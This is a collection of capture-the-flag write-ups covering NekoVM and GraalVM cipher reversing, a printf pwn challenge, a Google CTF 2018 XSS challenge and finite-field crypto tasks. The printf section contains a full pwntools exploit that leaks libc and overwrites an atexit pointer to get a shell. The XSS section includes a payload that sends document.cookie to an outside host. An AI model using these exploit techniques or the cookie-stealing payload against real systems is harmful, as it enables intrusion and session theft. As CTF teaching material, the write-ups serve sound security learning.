We got two files with the challenge:

  • meow.n, running file command on it said: NekoVM bytecode (418 global symbols, 323 global fields, 35212 bytecode ops)
  • flag_enc.png which was a seemingly encrypted PNG image:

alt

I googled NekoVM which lead me to https://nekovm.org/ which said:

Neko is a high-level dynamically typed programming language. It can be used as an embedded scripting language. It has been designed to provide a common runtime for several different languages. Learning and using Neko is very easy. You can easily extend the language with C libraries. You can also write generators from your own language to Neko and then use the Neko Runtime to compile, run, and access existing libraries.

Okay, something, something, yet again some unknown byte code. I googled for disassembler, but it turned out the official toolchain includes one: https://nekovm.org/doc/tools/#dumping-bytecode , so I run

nekoc -d meow.n

and I got a 620k meow.dump file. Uhh, that’s a lot of code. I searched for xor in the dump as I usually do if I start working with a lot of code, and I found a few interesting strings around the xoring code lines like get_pixel, set_pixel, setSeed, random_set_seed, file_open, file_read, AccInt 13337.

I also found some usage information: Usage: meow INPUT OUTPUT.

As the bytecode was new to me, I googled some description on what these “operators” mean, and I found this Neko Bytecode Explained page which would be a really good resource I think.

BUT I thought: okay, so it reads a PNG and generates some random, uses some magic seeds and contants like 13337 and writes an another PNG. I could probably find out the exact algorithm from the byte code statically but that would take ages, so let’s analyze it dynamically instead.

So I encrypted a full black and white 768x768 PNG (just like the original). Actually I did it both twice and got the exact same result (for the same color), and I got the inverse for the other, so I could be sure that the algorithm kind of static and there is no random stored in the encrypted file.

Black

alt

was encrypted to

alt

White


alt


was encrypted to

alt

Flag (first try)

Okay, the result was similar to our encrypted flag, so I simply xored the black_enc.png with flag_enc.png and I got this:

alt

Wow that is almost a readable flag, but it looks like the columns were mixed.

Then I encrypted images with unique columns and decrypted with my method and result seemed consistent:

Color

alt

was encrypted to

alt

Unique colors

alt

was encrypted to

alt

Flag (final)

So I simply tried to reorganize the columns in the same order as it changed on my test file and I got the original image with the flag actually:

alt

So the flag was:

TWCTF{Ny4nNyanNy4n_M30wMe0wMeow}

And this was my solver code (C#):

 
static void Meow()
{
    var baseDir = @"G:\Dropbox\prg_shared\twctf19\challs\meow\";

    void Decrypt(string fn, int[] order)
    {
        var bmp = new Bitmap($"{baseDir}{fn}.png");
        var key = new Bitmap($"{baseDir}black_enc.png");
        var res = new Bitmap(bmp.Width, bmp.Height);

        for (var y = 0; y < bmp.Height; y++)
            for (var x = 0; x < bmp.Width; x++)
            {
                var c = bmp.GetPixel(x, y);
                var kc = key.GetPixel(x, y);
                res.SetPixel(order[x], y, Color.FromArgb(c.R ^ kc.R, c.G ^ kc.G, c.B ^ kc.B));
            }

        res.Save($"{baseDir}{fn}_dec.png", ImageFormat.Png);
    }

    void GenUnique()
    {
        var res = new Bitmap(768, 768);

        for (var y = 0; y < res.Height; y++)
            for (var x = 0; x < res.Width; x++)
                res.SetPixel(x, y, Color.FromArgb(x / 256 * 96, x % 256, 0));

        res.Save($"{baseDir}unique.png", ImageFormat.Png);
    }

    int[] GetUniqueOrder(string fn)
    {
        var result = new int[768];
        var bmp = new Bitmap($"{baseDir}{fn}.png");
        for (int i = 0; i < 768; i++)
        {
            var c = bmp.GetPixel(i, 0);
            result[i] = c.R / 96 * 256 + c.G;
        }
        return result;
    }

    //GenUnique();            
    var orderTest = GetUniqueOrder("unique");
    var orderTestOk = orderTest.Select((x, i) => x == i).All(x => x);
    var orderReal = GetUniqueOrder("unique_enc_dec");
    Decrypt("flag_enc", orderReal);
}

So we got a pretty big binary (4.5MB) and an output.txt which contained the following hex value:

d4f5f0aa8aeee7c83cd8c039fabdee6247d0f5f36edeb24ff9d5bc10a1bd16c12699d29f54659267

I put the binary into IDA and while I waited for the analysis the finish, I dynamically run the binary on a few input cases.

My initial observations were the followings:

  • It probably encrypts the input data and the output.txt contains the encrypted flag
  • It used 8-byte blocks
  • Seemingly the block’s position mattered, so it was not a simple ECB mode.
    • 01234567 was encrypted to 4e6fa474bbf4eb00 if it was the first input block, but it was encrypted to a1eb35de298e9ecd if it was the second input block
  • If I changed a byte in the block it did not change any other block, so the previous input / output block did not influence the current one. So it was not CBC, OFB or CFB block cipher mode, but probably CTR or similar
  • There was padding in place, if I used a 7-byte input then I got a 8-byte output, but if I used a 8-byte input then I got a 16-byte output.

Here is an example which illustrates the situation (the | sign was not part of the input / output, I just put there to make it easier to see the block boundaries):

01234567|01234567|01234567 -> 4e6fa474bbf4eb00|a1eb35de298e9ecd|48811beafc8ed0dc|d2e084d9b6fc0ee0
01234567|_1234567|01234567 -> 4e6fa474bbf4eb00|ef83b139c03ae40d|48811beafc8ed0dc|d2e084d9b6fc0ee0

Meanwhile IDA analyzed the binary and I saw there are a lot of functions with symbol names like graal_attach_thread. Google for this directed me to this page: https://github.com/oracle/graal/blob/master/substratevm/C-API.md. Looks like the binary was created with GraalVM which is yet again some craziness (like the NekoVM) I heard about before, but I never really tried out.

So my teammates tried to play with the GraalVM toolchain, compile an empty app, BinDiff it with the challenge binary and try to figure out which parts of the binary contained framework code and where is the encryption.

Meanwhile I basically binary searched the binary with GDB (+pwndbg), searching for my test input strings / encrypted output in the memory and putting memory read/write watchpoints to these addresses to find out on which part of the code the encryption takes place. Without ASLR, the binary run the same way every execution, every memory address was the same, etc, so this technique worked quite well.

It turned out fast that this part of the binary is the interesting one:

    v167 = a2[408627];
    v62 = a2[408603] + *(_DWORD *)(v61 + 8);
    v63 = a2[408604];
    v64 = a2[408605];
    v65 = a2[408606];
    v66 = a2[408607];
    v67 = a2[408608];
    v68 = a2[408609];
    v69 = a2[408610];
    v70 = a2[408611];
    v71 = a2[408612];
    v72 = a2[408613];
    v166 = a2[408614];
    v165 = a2[408615];
    v164 = a2[408616];
    v163 = a2[408617];
    v162 = a2[408618];
    v161 = a2[408619];
    v160 = a2[408620];
    v159 = a2[408621];
    v158 = a2[408622];
    v157 = a2[408623];
    v156 = a2[408624];
    v155 = a2[408625];
    v154 = v72;
    v73 = v63 + __ROL4__(v62 ^ v170, v62 & 0x1F);
    v74 = v64 + __ROL4__(v73 ^ v62, v73 & 0x1F);
    v75 = v65 + __ROL4__(v74 ^ v73, v74 & 0x1F);
    v76 = v66 + __ROL4__(v75 ^ v74, v75 & 0x1F);
    v77 = v67 + __ROL4__(v76 ^ v75, v76 & 0x1F);
    v78 = v68 + __ROL4__(v77 ^ v76, v77 & 0x1F);
    v79 = v69 + __ROL4__(v78 ^ v77, v78 & 0x1F);
    v80 = v70 + __ROL4__(v79 ^ v78, v79 & 0x1F);
    v81 = v71 + __ROL4__(v80 ^ v79, v80 & 0x1F);
    v82 = v72 + __ROL4__(v81 ^ v80, v81 & 0x1F);
    v83 = v166 + __ROL4__(v82 ^ v81, v82 & 0x1F);
    v84 = v165 + __ROL4__(v83 ^ v82, v83 & 0x1F);
    v85 = v164 + __ROL4__(v84 ^ v83, v84 & 0x1F);
    v86 = v163 + __ROL4__(v85 ^ v84, v85 & 0x1F);
    v87 = v162 + __ROL4__(v86 ^ v85, v86 & 0x1F);
    v88 = v161 + __ROL4__(v87 ^ v86, v87 & 0x1F);
    v89 = v160 + __ROL4__(v88 ^ v87, v88 & 0x1F);
    v90 = v159 + __ROL4__(v89 ^ v88, v89 & 0x1F);
    v91 = v158 + __ROL4__(v90 ^ v89, v90 & 0x1F);
    v92 = v157 + __ROL4__(v91 ^ v90, v91 & 0x1F);
    v93 = v156 + __ROL4__(v92 ^ v91, v92 & 0x1F);
    v94 = v155 + __ROL4__(v93 ^ v92, v93 & 0x1F);
    v95 = a2[408626] + __ROL4__(v94 ^ v93, v94 & 0x1F);

This basically 24 rounds of some ROL + XOR encryption, can be simplified like this:

for (int iRound = 0; iRound < 24; iRound++)
{
    var newRight = magicConstants[iRound] + Rol(right ^ left, right & 0x1F);
    left = right;
    right = newRight;
}

The magicConstants array contained the seemingly constant values from memory dump and where the following:

0x83f19eee      0xda45ed22      0x0f746d84      0x5956ab6d
0x8917c0ef      0x7a5cf3b6      0x796712dd      0x6009fb1f
0x6a5bc569      0x376c57d3      0xe9ba0d38      0xbe82e078
0x77856cc1      0xa273cfee      0xd4142c83      0x017374a6
0xa3aeae68      0x02b52304      0x0e3d4b9e      0x1eb080bf
0x30a8374b      0x84f10f0f      0x02823509      0xd0dabfab
0xc85353c6      0x768e268e      0x0cdd1b42      0xddf3d584
0xfbdba0d4      0xa15d7381      0x83f4a3f6      0xd4eac3ea

I saw from dumping the memory / registers that it breaks 8-byte input / output blocks into two 4-byte ones. So the whole encryption looked similar to a Feistel cipher to me, so I reversed the encryption the same way as illustrated here:

alt

I got this decryption code which worked great on the first block:

for (int iRound = 23; iRound >= 0; iRound--)
{
    var newLeft = Ror(right - magicConstants[iRound], left & 0x1f) ^ left;
    right = left;
    left = newLeft;
}

I tested some of my test inputs and it could decrypted them which was a good sign!

I also tried to decrypt the output.txt’s first block and I the following plaintext which was also really good sign :) :

TWCTF{Fa

So tried to find out the padding and block cipher mode, but I did not find anything. But meanwhile I found out that the magicConstants array (which I thought were constants indeed) changes with every new block and it does not depend on the input, so I simply dumped this array out from gdb with the following command x/32wx 0x78e068 for every block :D. This actually worked and I could decrypt the whole output.txt and

I got the flag:

TWCTF{Fat3_Gr4nd_Ord3r_1s_fuck1n6_h07}

This was my complete code to decrypt the flag (C#):

public static UInt32 Rol(UInt32 x, uint n) => (x << (int)n) | (x >> (32 - (int)n));
public static UInt32 Ror(UInt32 x, uint n) => (x >> (int)n) | (x << (32 - (int)n));

static void Holy()
{
    var tables = new[] {
        @"0x83f19eee      0xda45ed22      0x0f746d84      0x5956ab6d
          0x8917c0ef      0x7a5cf3b6      0x796712dd      0x6009fb1f
          0x6a5bc569      0x376c57d3      0xe9ba0d38      0xbe82e078
          0x77856cc1      0xa273cfee      0xd4142c83      0x017374a6
          0xa3aeae68      0x02b52304      0x0e3d4b9e      0x1eb080bf
          0x30a8374b      0x84f10f0f      0x02823509      0xd0dabfab
          0xc85353c6      0x768e268e      0x0cdd1b42      0xddf3d584
          0xfbdba0d4      0xa15d7381      0x83f4a3f6      0xd4eac3ea",
        @"0xa8780381      0xd325b893      0x2889f25f      0x093c9281
          0x0ca31370      0xf01abbbe      0x069b1eeb      0x335b65cd
          0xdba0f812      0x26641f2e      0xcdcd48e0      0x2ffb8009
          0x75077d6d      0x8f23624a      0x71c8f20a      0xe254b801
          0x443ba936      0x6f4f4a2f      0x8aba595f      0x9a8530a6
          0xc42a5a0e      0x9ad8308d      0x42628dbd      0xabab10de
          0x9f95660e      0xae0ee93c      0x9e704772      0x9e0fe2c0
          0x53e83f2b      0x37dd53c7      0xdfa1fe01      0x04fbed0d",
        @"0x77354950      0x113b306d      0x3f8a1235      0xe3af6ed1
          0xf54cd1e9      0x9efb71e8      0x298d44ba      0x8f672270
          0xe9a97023      0x7100d45b      0x08f2a5e4      0xee09e4a5
          0xc6539fc7      0xc8538753      0xf59e1b4b      0xd268290e
          0x76f1d203      0x9917e9b2      0x908a32d4      0xe8d20101
          0x6092f88e      0x84fc73ec      0xcbd92758      0x44a66424
          0x82779517      0xec39befe      0xd9fe6b2d      0x2520232c
          0xdda34a8d      0x1e5fe69a      0xd99e98ba      0x66aa19e2",
        @"0x105426f8      0x2945d55f      0x5a6ec101      0x3c60fc75
          0xbc365fa3      0x5576699c      0x99548715      0x1c08bd1f
          0xd5375697      0x1f16fc4c      0x541be791      0x169314ff
          0xddbfc2db      0x9c131e7f      0xec9b6a6e      0x19700898
          0x630bc067      0x5154dfc8      0x739a5761      0x9ebce304
          0x6d8f9d46      0x369056a4      0x5bc4e09e      0xa139bbe8
          0x93023d62      0xe5979177      0x73911ea2      0xed9a6998
          0x6aad6804      0xc6ec99aa      0xaf8f109c      0x81793378",
        @"0x6e15b6ed      0xf259349e      0xfed4fdd8      0x759a482b
          0x4b150fd6      0xd42698f1      0x85d88ce1      0x253796ee
          0x941af694      0x0997b347      0xcdb22ebb      0x365ef56c
          0x458f3e90      0xa1c536c3      0x00e1284d      0x5f557b37
          0xadf6dff8      0x6260a096      0x3db81ff5      0x7a8e070a
          0x7a0609fa      0x9e6ded19      0x377743d5      0x8ead5a5b
          0x69bf4721      0x04ea93a4      0xc2c34e47      0xee0b5f03
          0x9a03038a      0xde6ba695      0xc7997ad9      0x0c195d2d",
        @"0x8e76e215      0xf2b7cd8a      0xc22ad5b1      0x6d820441
          0xa95785d3      0x46eaa7a3      0x4a3177ba      0x3d1e369c
          0x1256c8de      0x8a1cdcbc      0x1720bd2e      0xd8593e50
          0x9acb6187      0x5792d112      0xf40d5b16      0x70777c3a
          0xfc87a56c      0x66083a93      0x03469feb      0xe07d4161
          0xc1bbf3df      0x4e957f64      0xa38e9e34      0x691b0ca9
          0x15867b09      0xc390f252      0xc87e2d48      0x40d9b7f3
          0x0ae2dd28      0x1dd6bb77      0x45272187      0x3bcf1886",
        @"0x14662049      0xfae28cae      0xe82852e7      0x632b5e0b
          0xf023f3be      0xf18f0644      0x12633c3f      0x95613356
          0xf6cb92cd      0x18da0111      0x42f0c135      0x8cc959a5
          0xf38ed50e      0x49bb5328      0x0b99ccc5      0x99955cb1
          0x30aeae81      0xa4433dc4      0xcc8667af      0xb9d10e05
          0xd245ff26      0xddc7239f      0xc13c60dc      0x605be54d
          0x7bf4d4a7      0x992b9ad7      0x8e2cfb86      0xab55993b
          0xcf592117      0xcfe5ab0f      0x30e8705a      0xfc3300ec"
    };

    var tables2 = tables.Select(x => Conversion.HexToBytes(x.Replace(" ", "").Replace("0x", "").Replace("\r\n", "")).Chunk(4).Select(y => BitConverter.ToUInt32(y.Reverse().ToArray(), 0)).ToArray()).ToArray();

    (uint, uint) Encrypt((uint, uint) data, int round)
    {
        uint left = tables2[round][0] + data.Item1;
        uint right = tables2[round][1] + data.Item2;

        for (int iRound = 0; iRound < 24; iRound++)
        {
            var newRight = tables2[round][iRound + 2] + Rol(right ^ left, right & 0x1F);
            left = right;
            right = newRight;
        }

        return (left, right);
    }

    (uint, uint) Decrypt((uint, uint) data, int round)
    {
        uint left = data.Item1;
        uint right = data.Item2;

        for (int iRound = 23; iRound >= 0; iRound--)
        {
            var newLeft = Ror(right - tables2[round][iRound + 2], left & 0x1f) ^ left;
            right = left;
            left = newLeft;
        }

        return (left - tables2[round][0], right - tables2[round][1]);
    }

    var str = "0123456789abcdef".PadRight(24,'\0');
    var result = "";
    for (int i = 0; i < str.Length; i += 8)
    {
        var firstAsInt = BitConverter.ToUInt32(Encoding.ASCII.GetBytes(str.Substring(i, 4)).Reverse().ToArray(), 0);
        var secondAsInt = BitConverter.ToUInt32(Encoding.ASCII.GetBytes(str.Substring(i + 4, 4)).Reverse().ToArray(), 0);

        var encrypted = Encrypt((firstAsInt, secondAsInt), i / 8);
        var (firstAsInt2, secondAsInt2) = Decrypt(encrypted, i / 8);

        if (firstAsInt2 != firstAsInt || secondAsInt2 != secondAsInt)
            Debugger.Break();

        result += BitConverter.ToString(BitConverter.GetBytes(encrypted.Item1).Reverse().ToArray()).Replace("-", "").ToLower();
        result += BitConverter.ToString(BitConverter.GetBytes(encrypted.Item2).Reverse().ToArray()).Replace("-", "").ToLower();
    }

    var resultDesc = String.Join("|", result.Chunk(8).Select(x => new string(x)));

    var expected = "4e6fa474bbf4eb0092fa0410e882753a1bb4e13183fd98a9";

    Console.WriteLine(result);
    Console.WriteLine(expected);

    if (result != expected)
        Debugger.Break();

    //  d4f5f0aa8aeee7c83cd8c039fabdee6247d0f5f36edeb24ff9d5bc10a1bd16c12699d29f54659267
    var flagDec0 = Decrypt((0xd4f5f0aa, 0x8aeee7c8), 0);
    var flagDec1 = Decrypt((0x3cd8c039, 0xfabdee62), 1);
    var flagDec2 = Decrypt((0x47d0f5f3, 0x6edeb24f), 2);
    var flagDec3 = Decrypt((0xf9d5bc10, 0xa1bd16c1), 3);
    var flagDec4 = Decrypt((0x2699d29f, 0x54659267), 4);
    var flag  = Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec0.Item1).Reverse().ToArray()) + Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec0.Item2).Reverse().ToArray());
        flag += Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec1.Item1).Reverse().ToArray()) + Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec1.Item2).Reverse().ToArray());
        flag += Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec2.Item1).Reverse().ToArray()) + Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec2.Item2).Reverse().ToArray());
        flag += Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec3.Item1).Reverse().ToArray()) + Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec3.Item2).Reverse().ToArray());
        flag += Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec4.Item1).Reverse().ToArray()) + Encoding.ASCII.GetString(BitConverter.GetBytes(flagDec4.Item2).Reverse().ToArray());
}

The challange implemented a custom printf function which was called on our two inputs then the program exited. This opened a format string vulnerability, which made it possible to leak out important stack/libc/etc base addresses, but %n was not implemented, so we could not write the memory.

Fortunately for us, it used an uncontrolled alloca aka. sub rsp, rax where the parameter was the predicted output buffer length which could be controlled by us using constructs like %1000d which generated a 1000 byte length buffer on the stack with alloca.

This made possible to set rsp to any lower memory address, and even write into libc’s memory.

Somehow a bunch of pages which included also pointers were not read-only on Ubuntu 19.04 with libc 2.29. This was a weird behavior as the situation was much better on Ubuntu 18.04… I don’t know why they changed it, but whatever, this made the exploitation much easier (possible)!

I tried to overwrite a bunch of targets with OneGadget RCE, but at the end I replaced _IO_cleanup in the libc_atexit array which was called at the exit :D

pwndbg> telescope &__elf_set___libc_atexit_element__IO_cleanup__ 10
00:0000│   0x7ffff7fbf6c8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e6af50 (_IO_cleanup) ◂— push   r15

Here is my full exploit:

from pwn import *

REMOTE = True
if REMOTE:
    p = remote('printf.chal.ctf.westerns.tokyo', 10001)
else:
    p = process('./printf')
    print 'pid = %r' % p.pid

print "%lx "*40

p.sendlineafter("What's your name?", "%lx "*60)
p.recvline()
p.recvline()
leakStr = p.recvline()
leaks = [int(x,16) for x in leakStr.strip().split(' ')]
print '%r' % ['0x%x' % x for x in leaks]

libcBase   = leaks[ 2] - 0x7f6c93377024 + 0x7f6c9328f000 - 0x25000
bufStart   = leaks[50] - 0x7ffedbe84d40 + 0x7ffedbe84b50
prgBase    = leaks[49] - 0x5555555550d0 + 0x555555554000
ptrAddr    = libcBase - 0x7f07af04f000 + 0x7f07af210598 + 0x25000
system     = libcBase - 0x7f6c67f88000 + 0x7f6c67fb5fd0 + 0x25000
oneGadget  = libcBase + 0xe2383
stdoutGot  = prgBase + 0x5020
stdoutLibc = libcBase - 0x155555330000 + 0x155555515760 
runAtExit  = libcBase + 0x1E66C8
print 'libcBase = 0x%x, bufStart = 0x%x, prgBase = 0x%x, ptrAddr = 0x%x, stdoutGot = 0x%x, stdoutLibc = 0x%x, system = 0x%x, oneGadget = 0x%x' % (libcBase, bufStart, prgBase, ptrAddr, stdoutGot, stdoutLibc, system, oneGadget)

value = 0x414141
diff = bufStart - runAtExit - 0x223 + 0x5D + 0x20 + 6

# 0xe237f execve("/bin/sh", rcx, [rbp-0x70])
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 
# 0xe2383 execve("/bin/sh", rcx, rdx)
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [rdx] == NULL || rdx == NULL
# 
# 0xe2386 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL
# 
# 0x106ef8 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
payload = "%"+str(diff)+"d"+"A"*3+"B"*8+"C"*(8+5)+"D"*6+p64(oneGadget)+"E"*2
print 'payload (len=%d) = %r' % (len(payload), payload)

if not REMOTE:
    print "waiting..."
    raw_input()

p.sendlineafter("Do you leave a comment?", payload)
p.interactive()

And the flag was:

TWCTF{Pudding_Pudding_Pudding_purintoehu}

Last weekend I played on the Google CTF 2018 Quals which was one of the best CTFs I played recently. They separated the easy challenges into a “beginner’s quest” so we got only the medium-hard ones. I think this was a really good choice and made the whole CTF experience more pleasant. Also as with other CTFs, changing to dynamic scoring was also a welcomed change.

I started solving all the web challenges as our web guy was missing on Saturday and nobody else is really into web, and as I am kind of a jack of all trades when comes to CTFs, I looked into the web ones. At the end (I mean at the really end but I will talk about this later) we solved all the web challenges, including BBS which was only solved by 3 teams by the end of the CTF.

alt

Introduction to the challenge

BBS was… well… a BBS (wikipedia article) in a form of really old school website.

alt

The functionality of the website was really simple: you could register (Home > New), you could login (Home > Open), contact the admin (Home > Contact - this menu did not do anything, but more about this later):

alt

After registering and logging in you could post to your board:

alt

You could also modify your profile settings:

alt

For avatar images only PNG files were accepted (the file type mattered, not the extension) but they were resized to 64x64 PNGs (in every case, even if you uploaded a PNG with the exact same size). The resized PNG was saved to https://bbs.web.ctfcompetition.com/avatar/<md5_hash_of_the_resized_png>

Let’s look under the hood!

So after the other web challenges (we solved this after the other 4 web ones) I first checked the headers, especially the Content Security Policy header.

 
Content-Security-Policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

This means if we find an XSS then we can inject <script> tags and execute code (that’s the unsafe-inline), but only on the BBS challenge domain (because of the self) and we cannot communicate with other domains (eg. I could not download files from my domain).

The website’s source revealed that most of the logic was in the app.js file.

We could find there that although the Contact menu item did not do anything we still have a report functionality which usually means we are talking about an XSS challenge or at least an XSS vulnerability is expected:

function report(id) {
    $.post('/report', {
        'post': '/admin/' + id
    }).then(() => alert('Reported!'));
}

We did not have to search too much to find some clues what is expected from us to solve the challenge: you could link posts into other posts and when you hovered mouse above the ‘quote’ you could view the other post’s content in an iframe:

alt

In the iframe the /post?p=/ajax/post/4614877532389376 endpoint was called which executed the following logic:

<script>$(document).ready(() => bbs.load_post());</script>
function load_post() {
    var q = qs.parse(location.search, {ignoreQueryPrefix: true});
    var url = q.p;

    $.ajax(url).then((text) => {
        $('#post').html(atob(text));
    });
}

As the url parameter was an input from the query string we could modify the any other URL!

Let’s change it to our website (eg. kt.gy) and serve some nasty payload!

Oh… wait… we cannot because of the CSP…

alt

((Yes, I know I did not update my Chrome in time, but I promise I will, okay???))

As the BBS server HTML-encoded every post’s response (after making them also l33tsp43k), we had to find some other way to inject our content.

There is the avatar upload of course, but we cannot make a PNG-Base64 polyglot as the code called a base64 decode (atob) before injecting into the site as HTML.

But if we look at the code a little bit more we can see that the query string parsing is using a module (qs) which can create objects if we use query string in the format like this:

/post?p[key1]=value1&p[key2][subkey]=value2

This gives us the following object structure as q:

alt

jQuery’s ajax function although can accept an URL as the first parameter, but it can also accept a settings object where we can parameterize various aspects of the request including which URL to download, but we can also modify the request headers with the headers property. And there is this little header called Range where we can tell the server which part of the file we want to download (among others, this makes possible to continue downloading interrupted downloads).

I hope you see where we are going… ;)

That moment when you feel you will solve this challenge soon

Yep, we can actually upload an avatar image and request just the part of it as our payload. :)

First I uploaded a random PNG and wanted to concat my payload character by character by using multiple ranges (which is allowed in the Range header specification), but unfortunately it did not work on the server as I got Internal Server Errors. So I had to upload a PNG file which contained my payload contiguously.

If I could make that I could just call the /post endpoint like below and my payload would have been executed as $('#post').html(atob(text)); would interpret it as HTML and my <script> tag inside the HTML would execute:

https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200

Now that we have to URL, we just have to send it to admin, right?

function report(id) {
    $.post('/report', {
        'post': '/admin/' + id
    }).then(() => alert('Reported!'));
}

This allows us to only send post IDs, but of course we can call the /report endpoint directly:

$.post('/report', { 'post': '/post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200' })

Hmmm the server responds to this request with Invalid post response. That’s unfortunate.

On the other hand the /admin endpoint does not look too promising: even reporting a valid post does not seem to be working:

alt

But even if this did work, we could not modify the /post?p= parameter.

Actually the solution is easier than thought, the /report endpoint just checks that the url is in format /admin/<id>, so this URL will bypass the filter:

$.post('/report', { 'post': '/admin/1/../../post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200' })

Okay, now that we put together everything, we spent only 1.5 hours solving the challenge till now, we just need a PNG image which contains our base64 payload. It should be simple, right?

That moment when you feel you won’t solve this challenge any time soon

Well yeah, it should be kind of simple. As mentioned earlier the uploaded PNG is resized every time and all the metadata (eg. comment sections) are stripped, only image data is used.

The image data is compressed with zlib. But if you use a high entropy input the compression engine will use the input bytes literally, so you can ‘bypass’ the compression part and inject your payload directly.

Or can you?

I’ve spent the next 3.5 hours to create a PNG which contained my base64 payload. After creating approximately ~1369 PNG files, I gave up. ;)

The main problem was that the PNG encoder tries to minimalize the file size by applying filtering to every row before sending into zlib. And even if I chose any input filtering method for my payload, the PNG encoder always changed it to something else.

I went so mad, I even thought it must be some custom PNG encoder created only for this challenges just to make our job harder. As there was only 1 solve on the challenge that time so I thought this could be even a valid theory…

So I tried to experiment with various tricks to bypass this ‘tricky converter’ like generating such input which will contain my payload for every possible filter mode and stuff like that.

After the competition I spoke with the challenge author (phiber) and he told me this was of course not true, in the opposite of that, he used the most generic conversion code that can be used:

$im = imagecreatefrompng($path)
$resized = imagecreatetruecolor(64, 64);
imagecopyresampled($resized, $im, 0, 0, 0, 0, 64, 64, $width, $height);

Of course I did not know this at time of solving the challenge, but…

alt

alt

alt

alt

That moment when you’ve just given up

So it was only 30 minutes left from the Google CTF Quals and it was clear I won’t be able to generate a correct PNG in time, but as a last time effort I looked into the code again…

Also I knew from the latest 3.5 hours of trying that I can inject smaller payload as that won’t be changed, but the smallest base64 payload was not small enough. Maybe a raw JS payload? The smallest one I could create was

$(atob(location.hash.slice(1)))

But how to execute that?

It’s simple! Just ask jQuery to do this for us by passing dataType: "script" to the $.ajax method!

And it worked!

This image:

alt

(you can find the $(atob(location.hash.slice(1))) between offsets 12326 - 12356)

and this URL finally made it possible to execute my XSS:

https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/0939691cf1a771225f6ba39bb9934686&p[headers][Range]=bytes=12326-12356&p[dataType]=script#PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpIC8+

The final step was just to send this URL to the admin:

$.post('/report', { 'post': '/admin/1/../../post?p[url]=/avatar/0939691cf1a771225f6ba39bb9934686&p[headers][Range]=bytes=12326-12356&p[dataType]=script#PGltZyBzcmM9eCBvbmVycm9yPSJsb2NhdGlvbj0nLy9jdWJ5LmRhdGFnbG9iZS5ldS94L0ZMQUcnK2RvY3VtZW50LmNvb2tpZSIgLz4=' })

This was the encoded payload, but probably others were working as well (but the location= type redirection is important as CSP blocks almost every other way):

<img src=x onerror="location='//cuby.dataglobe.eu/x/FLAG'+document.cookie" />

Finally I’ve got the flag:

CTF{yOu_HaVe_Been_b&}

These challenges were solved by and the writeups were written by one of my teammates, @ngg.

Integrity

There was an encryption scheme, we had to calculate encrypt(‘admin’) based on that we could encrypt anything other than the string ‘admin’.

The scheme looked like this:

encrypt(name) = iv + aescbc(key, iv, plaintext = (md5(pkcs7pad(name)) + pkcs7pad(name)))

md5 length is exactly a block size, so

pkcs7pad(md5(pkcs7pad(name)) + name) = md5(pkcs7pad(name)) + pkcs7pad(name)

This means that

encrypt(md5(pkcs7pad('admin')) + 'admin') = iv + aescbc(key, iv, md5(...) + md5(pkcs7pad(name)) + pkcs7pad(name))

If we cut the first block out from this then the rest is exactly encrypt('admin') with the iv set to md5(...).

Sending this to the server gave me

flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

OneTimePad1 && OneTimePad2

Both tasks were about breaking a random generator. The hardest part was to understand the ideas and math based on the given python codes.

They were based on finite field arithmetics of GF(2)[x]/P(x).

If you do not know what I’m talking about then visit https://en.wikipedia.org/wiki/Finite_field_arithmetic first.

  • For OneTimePad1 P(x) = x**256 + x**10 + x**5 + x**2 + 1, which meant that the field is GF(2**256) because P(x) is irreducible over GF(2).
  • For OneTimePad2 P(x) = x**128 + x**7 + x**2 + x + 1, which is the standard GCM polynomial (the field is GF(2**128)).

  • In OneTimePad1 the process(m, k) function did the math, it calculated (m+k)**2 where m and k are field elements.
  • In OneTimePad2 the two helper functions were process1(m, k) calculated m*k where m and k are field elements and process2(a, b) calculated a*b where a and b are 2x2 matrices over this field.

In both problems the random generated worked like the following pseudo-python code:

def rng():
	next = urandom(32 if OneTimePad1 else 16)
	seed = urandom(32 if OneTimePad1 else 16)
	while True:
		yield next
		next, seed = calculate(next, seed)

OneTimePad1

In OneTimePad1 the calculate function returned (process(next, seed), seed) and the flag and two known strings were one time pad encrypted with its first 3 outputs respectively. Based on the second and third encrypted string we knew the second and third generated random numbers (r2 and r3), we had to calculate the first (r1).

r3 = process(r2, seed) = (r2+seed)**2, this means that seed = sqrt(r3)+r2.

Calculating square roots over binary fields are easy because squaring is a linear function. (This might seem strange, but (x+y)**2 = x**2 + 2*x*y + y**2 = x**2 + y**2 so it’s really linear).

Being linear means that there exists a matrix S such that x**2 = x*S for every x.

Calculating S is straightforward, it happens to be invertible so we can calculate square roots as well (every field element has exactly 1 square root).

We now know seed and we also know that r1 = sqrt(r2)+seed so we can decrypt the flag:

flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}

OneTimePad2

In OneTimePad2 the calculate function was more complicated.

A and B were two known constants, the function calculated M = [[A,B],[0,1]]**seed and returned M[0][0]*next + M[0][1] and it also changed seed to seed**2.

We can see by induction that [[A,B],[0,1]]**seed = [[A**seed, B*(1+A+A**2+...+A**(seed-1))],[0,1]] = [[A**seed, B*(A**seed - 1)/(A - 1)],[0,1]].

